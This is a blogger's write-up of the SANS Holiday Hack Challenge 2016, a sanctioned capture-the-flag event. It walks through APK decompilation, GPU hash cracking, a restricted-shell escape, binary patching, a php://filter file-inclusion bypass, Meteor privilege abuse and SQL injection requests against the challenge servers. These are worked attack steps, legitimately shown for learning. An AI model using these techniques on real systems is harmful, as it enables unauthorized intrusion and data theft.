SANS Holiday Hack Challenge 2016

merry_christmas_holidayhack

During my holiday I tackled the SANS HolidayHack challenge 2016. It was a lot of fun and a useful way of keeping my skills up to date. The goal of the challenge was to answer some questions and play a little game with a lot of quests made up of computer science challenges.

I will publish just a condensed section of my write up; if you want the full version, you can find it on my GitHub account.

Part 1, Twitter and Instagram Account

The challenge began with a small business card left by someone:

business_card.png

Connecting to the Twitter account led to a series of small posts with repeating patterns and different special characters:

santa_tweet

It was clear something is hidden in those tweets – it needs scrapping in order to play with the datas. I found a python script called tweet_dumper.py made by yanofsky to scrap all tweets from an account and create a csv file:


#!/usr/bin/env python2
# encoding: utf-8

import tweepy #https://github.com/tweepy/tweepy
import csv

#Twitter API credentials

consumer_key = ""
consumer_secret = ""
access_key = ""
access_secret = ""

def get_all_tweets(screen_name):
 #Twitter only allows access to a users most recent 3240 tweets with this method

#authorize twitter, initialize tweepy
 auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
 auth.set_access_token(access_key, access_secret)
 api = tweepy.API(auth)

#initialize a list to hold all the tweepy Tweets
 alltweets = []

#make initial request for most recent tweets (200 is the maximum allowed count)
 new_tweets = api.user_timeline(screen_name = screen_name,count=200)

#save most recent tweets
 alltweets.extend(new_tweets)

#save the id of the oldest tweet less one
 oldest = alltweets[-1].id - 1

#keep grabbing tweets until there are no tweets left to grab
 while len(new_tweets) > 0:
 print "getting tweets before %s" % (oldest)

#all subsiquent requests use the max_id param to prevent duplicates
 new_tweets = api.user_timeline(screen_name = screen_name,count=200,max_id=oldest)

#save most recent tweets
 alltweets.extend(new_tweets)

#update the id of the oldest tweet less one
 oldest = alltweets[-1].id - 1

print "...%s tweets downloaded so far" % (len(alltweets))

#transform the tweepy tweets into a 2D array that will populate the csv
 outtweets = [[tweet.id_str, tweet.created_at, tweet.text.encode("utf-8")] for tweet in alltweets]

#write the csv
 with open('%s_tweets.csv' % screen_name, 'wb') as f:
 writer = csv.writer(f)
 writer.writerow(["id","created_at","text"])
 writer.writerows(outtweets)

pass

if __name__ == '__main__':
 #pass in the username of the account you want to download
 get_all_tweets("santawclaus")

After running the script, I used cat on the file to show what was inside:

bug.png

It looked like the hidden message was “Bug Boungy” written in ASCII art. The next challenge was to find what was inside the ZIP file distributed by Santa’s team.

Looking at the Instagram account, I found an interesting picture, which  shows a messy desk of one of the Santa’s elves called Hermey. On the left of the picture, a laptop was open with a powershell shell with .\~DestinationPath SantaGram_v4.2.zip:

 

mess_desk2

On the right of the picture, there is an printed output of the scanning tool called nmap. I found a domain name: northpolewonderland.com. I tried to download the zip file using previous information:


-> $ wget http://northpolewonderland.com/SantaGram_v4.2.zip
--2017-01-01 14:54:41-- http://northpolewonderland.com/SantaGram_v4.2.zip
Resolving northpolewonderland.com (northpolewonderland.com)... 130.211.124.143
Connecting to northpolewonderland.com (northpolewonderland.com)|130.211.124.143|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1963026 (1.9M) [application/zip]
Saving to: ‘SantaGram_v4.2.zip’

SantaGram_v4.2.zip 100%[============>] 1.87M 543KB/s in 3.5s

2017-01-01 14:54:45 (543 KB/s) - ‘SantaGram_v4.2.zip’ saved [1963026/1963026]

And i found the ZIP file, which was protected by a password. The password was Bug Bounty.

The ZIP file contains an Android Application Package (APK).

 Part 2, The SantaGram APK

In this part, the goal was to find credentials contained in the Android application. I started extracting the APK with a tool called apktool:


(dummys@flashed) [~/works/challz/sans_santa/apk] [15:18:39] [git:master ✘]
-> $ apktool d SantaGram_4.2.apk
I: Using Apktool 2.2.1 on SantaGram_4.2.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/dummys/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
(dummys@flashed) [~/works/challz/sans_santa/apk] [15:19:02] [git:master ✘]
-> $ ls SantaGram_4.2
AndroidManifest.xml apktool.yml assets original res smali

Several folders were extracted, smali contained the smali byte code and res contained the resources of the APK.
In the res folder, there were several folders as well, the one that was interesting for the analysis was: values. This folder contained several files, one called strings.xml which contained all the strings used in the APK.
Using cat on the file, didn’t show the username/password, but some interesting string that could be used perhaps later in the quest:


<string name="abc_action_bar_home_description">Navigate home</string>
<string name="abc_action_bar_home_description_format">%1$s, %2$s</string>
<string name="abc_action_bar_home_subtitle_description_format">%1$s, %2$s,
%3$s</string>
<string name="abc_action_bar_up_description">Navigate up</string>
<string name="abc_action_menu_overflow_description">More options</string>
<string name="abc_action_mode_done">Done</string>
<string name="abc_activity_chooser_view_see_all">See all</string>
<string name="abc_activitychooserview_choose_application">Choose an app
</string>
<string name="abc_capital_off">OFF</string>
<string name="abc_capital_on">ON</string>
<string name="abc_search_hint">Search…</string>
<string name="abc_searchview_description_clear">Clear query</string>
<string name="abc_searchview_description_query">Search query</string>
<string name="abc_searchview_description_search">Search</string>
<string name="abc_searchview_description_submit">Submit query</string>
<string name="abc_searchview_description_voice">Voice search</string>
<string name="abc_shareactionprovider_share_with">Share with</string>
<string name="abc_shareactionprovider_share_with_application">Share with
%s</string>
<string name="abc_toolbar_collapse_description">Collapse</string>
<string name="status_bar_notification_info_overflow">999+</string>
<string name="TAG">SantaGram</string>
<string name="analytics_launch_url">
https://analytics.northpolewonderland.com/report.php?type=launch</string>
<string name="analytics_usage_url">
https://analytics.northpolewonderland.com/report.php?type=usage</string>
<string name="appVersion">4.2</string>
<string name="app_name">SantaGram</string>
<string name="appbar_scrolling_view_behavior">
android.support.design.widget.AppBarLayout$ScrollingViewBehavior</string>
<string name="banner_ad_url">
http://ads.northpolewonderland.com/affiliate/
C9E380C8-2244-41E3-93A3-D6C6700156A5</string>
<string name="bottom_sheet_behavior">
android.support.design.widget.BottomSheetBehavior</string>
<string name="character_counter_pattern">%1$d / %2$d</string>
<string name="debug_data_collection_url">
http://dev.northpolewonderland.com/index.php</string>
<string name="debug_data_enabled">false</string>
<string name="dungeon_url">http://dungeon.northpolewonderland.com/</string>
<string name="exhandler_url">
http://ex.northpolewonderland.com/exception.php</string>
<string name="title_activity_comments">Comments</string>
</resources>

 

Digging deeper in the code with the tools called JEB1, I found this interesting piece of code under com.northpolewonderland.santagram.b:

user.png

I found the credentials needed for the quest. The latest question in this part was to find an audio file within the APK. Video and audio file are usually located in the res/raw folder:


(dummys@flashed) [~/works/challz/sans_santa/apk/SantaGram_4.2/res/raw]
[15:51:21] [git:master ✘]
-> $ file discombobulatedaudio1.mp3
discombobulatedaudio1.mp3: Audio file with ID3 version 2.3.0, contains: MPEG
ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo

Part 3, The Cranberry PI

The third part became interesting. I had to search for all the pieces of a Cranberry Pi (which is a funny joke about the little computer called “Raspberry PI”).  When finished collecting the pieces in the game, I was able to access terminals which showed a small challenge to open locked doors. One of the questions in this part was to find the password of the cranpi account in the image of the Operating System:


(dummys@flashed) [~/works/challz/sans_santa/image] [23:28:20] [git:master ✘]
-> $ file cranbian-jessie.img
cranbian-jessie.img: DOS/MBR boot sector; partition 1 : ID=0xc, start-CHS (0x0,130,3), end-CHS (0x8,138)

The image is a bootable image. Using fdisk command to find the offset of the image to mount:


-> $ fdisk -l cranbian-jessie.img
Disk cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x5a7089a1

Device Boot Start End Sectors Size Id Type
cranbian-jessie.img1 8192 137215 129024 63M c W95 FAT32 (LBA)
cranbian-jessie.img2 137216 2713599 2576384 1.2G 83 Linux

With the offset information 137216 and the size of a sector which is 512, mounting the image was easy, a simple computation was needed:
sector size * offset – 512 *137216 = 70254592, then using the mount command to mount the image with the offset:


-> $ cat listings/mount
(dummys@flashed) [~/works/challz/sans_santa/image] [23:37:07] [git:master ✘]
-> $ sudo mount -o offset=70254592 cranbian-jessie.img mnt/
(dummys@flashed) [~/works/challz/sans_santa/image] [23:38:07] [git:master ✘]
-> $ cd mnt
(dummys@flashed) [~/works/challz/sans_santa/image/mnt] [23:38:09]
-> $ ls
bin boot dev etc home lib lost+found media mnt opt proc root run
sbin srv sys tmp usr var

The username/password on a unix system is stored hashed in the /etc/shadow file.

The hashing algorithm was sha5122crypt which is common on unix systems.
The hash can be bruteforced using the Hashcat tools suite}:


dummys@gpu1:~/cracking/working/sans$ hashcat -w3 -a0 -m1800 ./pw.txt
../../../wordlist_rules/wl_tested/big/rockyou.txt
hashcat (master) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
- Device #1: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU
- Device #2: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU
- Device #3: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU
- Device #4: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU
- Device #5: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU
- Device #6: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU
- Device #7: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU
- Device #8: GeForce GTX 1080, 2028/8113 MB allocatable, 20MCU

Hashes: 1 hashes; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable Optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Uses-64-Bit
Watchdog: Temperature abort trigger set to 90c
Watchdog: Temperature retain trigger set to 65c

- Device #1: Kernel m01800.10aa386a.kernel not found in cache! Building may take
a while...
- Device #1: Kernel amp_a0.10aa386a.kernel not found in cache! Building may
take a while...

Generated dictionary stats for
../../../wordlist_rules/wl_tested/big/rockyou.txt: 139921497 bytes, 14344391
words, 14343296 keyspace

$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEhahBINm/
2YyjFihxg7tgc343b0:yummycookies

Session.Name...: hashcat
Status.........: Cracked
Input.Mode.....: File (../../../wordlist_rules/wl_tested/big/rockyou.txt)
Hash.Target....: $6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DU...
Hash.Type......: sha512crypt, SHA512(Unix)
Time.Started...: Thu Dec 15 16:44:37 2016 (1 sec)
Speed.Dev.#1...: 123.4 kH/s (88.37ms)
Speed.Dev.#2...: 128.0 kH/s (92.12ms)
Speed.Dev.#3...: 125.8 kH/s (87.03ms)
Speed.Dev.#4...: 130.9 kH/s (88.71ms)
Speed.Dev.#5...: 125.5 kH/s (87.28ms)
Speed.Dev.#6...: 125.5 kH/s (87.63ms)
Speed.Dev.#7...: 128.6 kH/s (92.22ms)
Speed.Dev.#8...: 122.0 kH/s (89.59ms)
Speed.Dev.#*...: 1009.8 kH/s
Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.......: 691886/14343296 (4.82%)
Rejected.......: 686/691886 (0.10%)
Restore.Point..: 0/14343296 (0.00%)

Started: Thu Dec 15 16:44:37 2016
Stopped: Thu Dec 15 16:45:45 2016
dummys@gpu1:~/cracking/working/sans$

It’s interesting to note that the bruteforce took 1 minute and 8 seconds using the rockyou wordlist, pretty amazing 8x Nvidia GTX 1080 isn’t it :)
The password for the cranpi account was yummycookies.

The PCAP file

Upon connecting to the terminal, it said The passphrase is located in the out.pcap file. PCAP is a capture of network traffic. After playing a  bit with the terminal, I use the command sudo -l to see if some special entries has been added in the sudoers file:

sudol.png

Looking at the response, it’s clear that user itchy can use tcpdump and strings command. Tcpdump is an utility to capture network traffic and read pcap file, strings is used to find strings in file.
Using strings command on the pcap file led an useful information:

sudostring2.png

The first part of the passphrase was santasli. For the second part of the passphrase, I started to look at the documentation of tcpdump. With the -r option, tcpdump was able to use a pcap file as input. The idea was to read the pcap, write it to a file and then parse it. Playing a bit with the strings option, I found that using the encoding little endian led to the second part of the passphrase: ttlehelper:

sudotcpdump

Find the deepest directory

Connecting to the terminal, it said the passphrase was deep in the directories.
After looking around I found a hidden folder called .doormat. In this folder, they are several folders, one was a dot. I used find command and a little trick to look for the deepest file:

deep.png

Wumpus Game, Play or Cheat

This terminal challenge was made of labyrinth puzzle game. The terminal said to play fair or to cheat. As I’m a lazy player, I preferred to cheat. The problem is that during the game, no external access was possible to the terminal console, only copy/paste was possible. I dumped the binary using cat and base64 > file.txt, then I copy-pasted the base64 encoded binary and decoded it on my computer. I opened the binary in IDA Pro and started looking at the interesting strings:

idastring

A string \nPassphrase caught my interest. Using cross reference I found that  this string was referenced in the function called kill_wump:

idacross

Looking at the control flow graph of this function led interesting findings, first a string is written to the player, a buffer is allocated and a string is generated using different string present in the binary, then the string \nPassphrase is written and the previously generated string is also displayed to the player:

idafunc

The goal is to reach this function in order to print the passphrase. There are two ways of getting there: first play the game, second use some binary patching to force the game, calling this function at the beginning. I chose the second option. The original main function looks like this:

orig_main

The first function called is _getgid. I showed the opcode byte for clarity. Replacing bytes E8 E8 FD FF FF with E8 33 0C 00 00 which slightly modifies the call instruction to point to kill_wump functions:

patch_main

Here is the output of the patched binary:

pwned_wump

The train terminal challenge

Upon connecting to the terminal, a train management console was shown. They were not a lot of commands available on the console. When trying to start the train using START, a password was requested. When I started looking at all the command, the HELP command looked promising. This command uses the less unix command to display the help file. Using H as parameter shows the help. After digging in the documentation of less, I found  an escape shell using the ! character, which dropped me to a shell. Then, using ls, I found a ActivateTrain binary.

train

After launching this binary, the console showed me a time travel sequence that led to a full bypass of the START function.

traintravel.png

Part 4, Hacking the Santa’s Infrastructure

In the part 4 of the quest, the goal was to hack some servers provided in the Android application in order to retrieve part of an audio file.

The Dungeon Game

Using nmap on dungeon.northpolewonderland.com, I found that the port 11111 was open:


-> $ sudo nmap -sC dungeon.northpolewonderland.com
Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-02 02:52 CET
Nmap scan report for dungeon.northpolewonderland.com (35.184.47.139)
Host is up (0.29s latency).
rDNS record for 35.184.47.139: 139.47.184.35.bc.googleusercontent.com
Not shown: 996 closed ports
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 1024 f8:b0:ed:cf:4b:00:4f:e0:bc:9e:ed:51:6c:7d:1d:eb (DSA)
| 2048 ce:b9:39:5d:df:06:dc:6c:a6:46:39:7e:ad:b2:3e:58 (RSA)
|_ 256 2d:60:1a:a9:8a:df:6e:d8:09:6a:c3:d5:3a:c3:76:74 (ECDSA)
80/tcp open http
|_http-title: About Dungeon
11111/tcp open vce

Nmap done: 1 IP address (1 host up) scanned in 42.97 seconds

Connecting to this port led to the dungeon game.

During the quest, an elves called Pepper Minstix gave me an old archive of the online game.
After reversing the binary, a python script was written to decipher the database file:


#!/usr/bin/env python2

key = "IanLanceTaylorJr"
with open("dtextc.dat", "rb") as src:
data = src.read()

conf = ""
for i in range(950000):
try:
t1 = key[i%len(key)]
t2 = data[0x97+i]
t3 = 0x30+i & 0xff
r = ord(t1)^ord(t2)
r = r^t3
conf += chr(r)
except:
break

print conf

After extracting the configuration a string|grep command was used to search for interesting strings:


-> $ strings config_decoded.txt | grep -i -E "santa|elve"
lorJrBy some miracle of elven technology, you have managed to
for the royal family. All of the shelves appear to have been gnawed
account of its history is in "The Lives of the Twelve Flatheads" with
the Twelve Flatheads", "The Wisdom of the Implementers", and
hear or see. In the distance you detect the busy sounds of Santa's elves
In the distance you detect the busy sounds of Santa's elves in full
In Dungeon, the intrepid explorer delves into the forgotten secrets
anceOnly Santa Claus climbs down chimneys.

It seems that a secret part has been added to the game. I remembered that an elve called Alabaster Snowball spoke about cheating in the dungeon game. I googled dungeon and found that the real name of the game was Zork.

Looking in Wikipedia I found that a Game Debugging Technique (GDT) exists, which is a real debugger of the game. Googling Zork GDT led to an interesting page which shows every command available in the GDT console. I tried to dump every text using the DT command starting from the end; the ID 1024 turned out to be the good one:


gdt
GDT>dt
Entry: 1024
The elf, satisified with the trade says -
send email to "[email protected]" for that which you seek.
GDT>

The Debug Server

Looking at the APK, the author found an interesting snippet of code located in com.northpolewonderland.santagram.EditProfile:

debugtest.png

This code checks if a strings resource with id 2131165214 is equals to true. My technique to find which strings had this id involved converting the id to hexadecimal and then grepping with -r option on the whole apk’s folder. Hexadecimal of 2131165214 was 0x7f07001e:


-> $ grep -r 0x7f07001e 1 ↵
SantaGram_4.2/res/values/public.xml: <public type="string" name="debug_data_enabled" id="0x7f07001e" />
SantaGram_4.2/smali/com/northpolewonderland/santagram/EditProfile.smali: const v0, 0x7f07001e

I changed this value in strings.xml from false to true, repacked the apk with apktool b command, and finally signed again the application with signapk.jar.

Installing the application on an android phone, using BurpSuite as a proxy and playing with it led to interesting findings:


POST /index.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-G900F Build/MOB30D)
Host: dev.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 145

{"date":"20161225141112+0100","udid":"ca41e227ceb25dcd",
"debug":"com.northpolewonderland.santagram.EditProfile,
EditProfile","freemem":171878976}

And his answer:


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Sun, 25 Dec 2016 13:11:13 GMT
Content-Type: application/json
Connection: close
Content-Length: 251

{"date":"20161225131113","status":"OK","filename":"debug-20161225131113-0.txt",
"request":{"date":"20161225141112+0100","udid":"ca41e227ceb25dcd",
"debug":"com.northpolewonderland.santagram.EditProfile, EditProfile",
"freemem":171878976,"verbose":false}}

I tried to use “verbose”:true and the response gave the mp3 file:


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Sun, 25 Dec 2016 13:14:35 GMT
Content-Type: application/json
Connection: close
Content-Length: 495

{"date":"20161225131435","date.len":14,"status":"OK","status.len":"2",
"filename":"debug-20161225131435-0.txt","filename.len":26,
"request":{"date":"20161225141112+0100","udid":"ca41e227ceb25dcd",
"debug":"com.northpolewonderland.santagram.EditProfile, EditProfile",
"freemem":171878976,"verbose":true},"files":["debug-20161224235959-0.mp3",
"debug-20161225124144-0.txt","debug-20161225124356-0.txt",
"debug-20161225131113-0.txt","debug-20161225131418-0.txt",

The Banner Ads Server

Connecting to the url: http://ads.northpolewonderland.com and showing the source of the page, I found that this website uses meteor, a Javascript framework to develop complex application. To help pentesting such application, I used the tool called TamperMonkey with the script MeteorMiner made by nidem. This script was useful in testing for bugs in the application:

meteor1.png

On the right, the script is carving for us interesting collections, subscriptions and routes available.
After playing a bit with the console, I found that subscribing to admin roles was possible using Meteor.subscribe(‘users’, {roles: [‘admin’]});:

meteor2.png

Then navigating to /admin/quotes and using HomeQuotes.find().fetch():

meteor3.png

Clicking on more gave the mp3 file.

meteor4

The Uncaught Exception Handler Server

Looking in the apk, an interesting snippet of code was found:

writecrash.png

This code creates a post request to exception server. After playing a bit with the json, the I found that a ReadCrashDump operation also exists. When using this command, the server includes the crashdump file. This is a known vulnerability called locale file inclusion (LFI). With this vulnerability, any files on the server can be read.
There was a little problem, the script was adding .php at the end of the file name, thus I was not able to read what I want on the server:


HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Mon, 02 Jan 2017 02:56:02 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 66

Fatal error! crashdump value duplicate '.php' extension detected.

There is a trick using php://filter to bypass such problems:

phpfilter.png

Decoding the file with base64 led to the mp3 file:


<?php

# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3

# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/
# Make sure that it is a POST request.
if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){
die("Request method must be POST\n");
}

# Make sure that the content type of the POST request has been set to application/json
$contentType = isset($_SERVER["CONTENT_TYPE"]) ? trim($_SERVER["CONTENT_TYPE"]) : '';
if(strcasecmp($contentType, 'application/json') != 0){
die("Content type must be: application/json\n");
}

# Grab the raw POST. Necessary for JSON in particular.
$content = file_get_contents("php://input");
$obj = json_decode($content, true);
# If json_decode failed, the JSON is invalid.
if(!is_array($obj)){
die("POST contains invalid JSON!\n");
}

# Process the JSON.
if ( ! isset( $obj['operation']) or (
$obj['operation'] !== "WriteCrashDump" and
$obj['operation'] !== "ReadCrashDump"))
{
die("Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.\n");
}
if ( isset($obj['data'])) {
if ($obj['operation'] === "WriteCrashDump") {
# Write a new crash dump to disk
processCrashDump($obj['data']);
}
elseif ($obj['operation'] === "ReadCrashDump") {
# Read a crash dump back from disk
readCrashdump($obj['data']);
}
}
else {
# data key unset
die("Fatal error! JSON key 'data' must be set.\n");
}
function processCrashdump($crashdump) {
$basepath = "/var/www/html/docs/";
$outputfilename = tempnam($basepath, "crashdump-");
unlink($outputfilename);

$outputfilename = $outputfilename . ".php";
$basename = basename($outputfilename);

$crashdump_encoded = "<?php print('" . json_encode($crashdump, JSON_PRETTY_PRINT) . "');";
file_put_contents($outputfilename, $crashdump_encoded);

print <<<END
{
"success" : true,
"folder" : "docs",
"crashdump" : "$basename"
}

END;
}
function readCrashdump($requestedCrashdump) {
$basepath = "/var/www/html/docs/";
chdir($basepath);

if ( ! isset($requestedCrashdump['crashdump'])) {
die("Fatal error! JSON key 'crashdump' must be set.\n");
}

if ( substr(strrchr($requestedCrashdump['crashdump'], "."), 1) === "php" ) {
die("Fatal error! crashdump value duplicate '.php' extension detected.\n");
}
else {
require($requestedCrashdump['crashdump'] . '.php');
}
}

?>

The Mobile Analytics Sever (post authentication)

This was the most challenging of the quest. The server was used to store analytics data on android phones.

First I started to scan the server with nmap using -sC parameter which is a cool features of nmap because it searches for a common folder when http is found:


-> $ sudo nmap -sC analytics.northpolewonderland.com 1 ↵

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-02 04:09 CET
Nmap scan report for analytics.northpolewonderland.com (104.198.252.157)
Host is up (0.18s latency).
rDNS record for 104.198.252.157: 157.252.198.104.bc.googleusercontent.com
Not shown: 997 filtered ports
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 1024 5d:5c:37:9c:67:c2:40:94:b0:0c:80:63:d4:ea:80:ae (DSA)
| 2048 f2:25:e1:9f:ff:fd:e3:6e:94:c6:76:fb:71:01:e3:eb (RSA)
|_ 256 4c:04:e4:25:7f:a1:0b:8c:12:3c:58:32:0f:dc:51:bd (ECDSA)
443/tcp open https
| http-git:
| 104.198.252.157:443/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Finishing touches (style, css, etc)
| http-title: Sprusage Usage Reporter!
|_Requested resource was login.php
| ssl-cert: Subject: commonName=analytics.northpolewonderland.com
| Subject Alternative Name: DNS:analytics.northpolewonderland.com
| Not valid before: 2016-12-07T17:35:00
|_Not valid after: 2017-03-07T17:35:00
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1

Nmap done: 1 IP address (1 host up) scanned in 28.58 seconds

Nmap found a Git repository. I downloaded this repo using wget command: wget -r –no-parent –reject “index.html*” https://analytics.northpolewonderland.com/.git

Using gitk a gui to browse Git repository I found some interesting piece of informations. First a commit shows admin credentials:

credadm

The user can query the database and save the query for future use. In the page query.php the input is sanitized using the mysqli_real_escape_string function, which protects against sql injection.

After struggling a while searching for vulnerabilities in the code, I found this interesting piece of code in the page edit.php which is only accessible if you are logged as administrator:

vuln2.png

The foreach highlighted does not use the mysqli_real_escape_string thus I could inject my own query after saving a normal query to the database, using the Save Query option:

query.png

The server generated an id:

id.png

With this ID, I could now modify my query with a malicious query. I listed the table called audio with the query select * from audio:


GET /edit.php?id=3a3a1288-a6be-4da9-b070-e611315059d9&name=test&description
=test&query=select * from audio HTTP/1.1
Host: analytics.northpolewonderland.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://analytics.northpolewonderland.com/edit.php
Cookie: AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4
384f6e7bca04d86e573b965cc9a6549b249496363a00063b71976884152
Connection: close
Upgrade-Insecure-Requests: 1

And the result:

inject.png

My query was executed and I got the name of the audio file, finding another called mp3 which looked interesting. I dumped its content encoding to base64 with the query SELECT TO_BASE64(mp3) FROM audio WHERE id
= “3746d987-b8b1-11e6-89e1-42010af00008”
 :


GET /edit.php?id==3a3a1288-a6be-4da9-b070-e611315059d9&name=test&description=
test&query=SELECT TO_BASE64(mp3) FROM audio WHERE id
= "3746d987-b8b1-11e6-89e1-42010af00008" HTTP/1.1
Host: analytics.northpolewonderland.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://analytics.northpolewonderland.com/edit.php
Cookie: AUTH=82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a
4384f6e7bca04d86e573b965cc9a6549b249496363a00063b71976884152
Connection: close
Upgrade-Insecure-Requests: 1

mp3b64.png

Copying and decoding this base64 encoded string to my computer led to the audio file.

end

Challenge solved! I would like to thank again the creators of SANS Holiday Hack. See you at the 2017 challenge!

Leave a Reply